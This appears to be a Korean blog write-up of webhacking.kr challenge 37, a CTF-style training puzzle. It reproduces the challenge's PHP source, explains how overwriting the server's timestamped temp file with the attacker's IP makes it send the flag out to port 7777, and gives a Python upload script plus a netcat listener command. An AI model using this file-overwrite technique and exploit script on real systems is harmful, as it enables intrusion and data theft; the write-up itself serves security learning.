view-source 클릭 !
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?>
<html>
<head>
<title>Challenge 37</title>
</head>
<body>
<?php
$db = dbconnect();
$query = "select flag from challenge where idx=37";
$flag = mysqli_fetch_array(mysqli_query($db,$query))['flag'];
$time = time();
# /tmp/tmp-{$time}에 127.0.0.1 입력
$p = fopen("./tmp/tmp-{$time}","w");
fwrite($p,"127.0.0.1");
fclose($p);
# 업로드된 파일명을 file_nm에 넣고, 지정된 문자(<,>,.,/, )는 공백으로 대체
$file_nm = $_FILES['upfile']['name'];
$file_nm = str_replace("<","",$file_nm);
$file_nm = str_replace(">","",$file_nm);
$file_nm = str_replace(".","",$file_nm);
$file_nm = str_replace("/","",$file_nm);
$file_nm = str_replace(" ","",$file_nm);
# /tmp아래 업로드된 파일에 ip주소를 입력
if($file_nm){
$p = fopen("./tmp/{$file_nm}","w");
fwrite($p,$_SERVER['REMOTE_ADDR']);
fclose($p);
}
# 업로드된 파일 목록을 웹페이지에 출력
echo "<pre>";
$dirList = scandir("./tmp");
for($i=0;$i<=count($dirList);$i++){
echo "{$dirList[$i]}\n";
}
echo "</pre>";
# tmp/tmp-{$time}파일에 있는 내용을 문자열로 읽어 host에 저장
$host = file_get_contents("tmp/tmp-{$time}");
$request = "GET /?{$flag} HTTP/1.0\r\n";
$request .= "Host: {$host}\r\n";
$request .= "\r\n";
# host변수에 저장된 IP값의 포트 7777로 연결하고, request변수에 저장된 값을 전송한다. 그리고 그 request에는 flag값이 포함되어 있다.
$socket = fsockopen($host,7777,$errstr,$errno,1);
fputs($socket,$request);
fclose($socket);
#업로드된 파일리스트가 20개가 넘으면, /tmp아래 파일들을 모두 삭제한다.
if(count($dirList) > 20) system("rm -rf ./tmp/*");
?>
<form method=post enctype="multipart/form-data" action=index.php>
<input type=file name=upfile><input type=submit>
</form>
<a href=./?view_source=1>view-source</a>
</body>
</html>
이 문제는 php코드를 정확히 해석하고, 이해해야하기 때문에 주석을 달아서 공부했다.
flag값을 얻기 위해서는 업로드된 파일에 쓰여져있는 IP값의 포트 7777로 연결해야한다.
$host에는 $_SERVER['REMOTE_ADDR']값, 즉 파일을 업로드한 곳의 IP주소가 저장되어있다.
$host에 내 서버 ip주소가 저장되게 하려면, 내 서버에서 파일을 업로드해야한다.
import requests
import urllib3
import time
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
url = "https://webhacking.kr/challenge/web-18/index.php"
url_get = "https://webhacking.kr/challenge/web-18"
headers = { "Cookie" : "PHPSESSID=세션 값"}
proxies = { "http" : "http://127.0.0.1:8008",
"https": "https://127.0.0.1:8008" }
Done = False
myip = "내 ip주소"
while not Done: # Done이 True가 될때까지 무한반복
for i in range(-5,5+1):
# 내가 파일을 업로드한 시간과 서버에 업로드된 시간이 차이가 있기 때문에 내가 업로드한 시간 앞뒤로 5초씩 파일 모두 업로드
filename = "tmp-"+str(int(time.time())+i)
filedir = "/tmp/" + filename
# 파일 생성
with open(filename, 'w') as file_w:
file_w.write('')
# 파일 읽기
upload = { "upfile" : open(filename, "rb") }
# File Upload process 파일 업로드
res_post = requests.post(url=url, files=upload, headers=headers, proxies=proxies, verify=False)
# GET tmp directory data that i uploaded
# 업로드한 파일의 내용 보기
res_get = requests.get(url=url_get+filedir, headers=headers, proxies=proxies, verify=False)
# 업로드한 파일에 ip주소가 입력되어있다면 while문 종료
if myip in res_get.text:
Done = True
else:
pass
파일 업로드 코드이다 !
nc -lvp 7777 명령어를 통해 서버를 열어놓고, 위 파이썬 코드를 실행시키면 문제 해결 !!
이 문제는 이해하고 푸는데까지 진짜 오래걸렸따.., 코드 잘 외워둬야지 ٩(๑`^´๑)۶ !!
'WEB > webhacking.kr (old)' 카테고리의 다른 글
webhacking.kr 42번 (0) | 2020.02.13 |
---|---|
webhacking.kr 41번 (0) | 2020.02.13 |
webhacking.kr 39번 (0) | 2020.02.12 |
webhacking.kr 38번 (0) | 2020.02.12 |
webhacking.kr 36번 (0) | 2020.02.11 |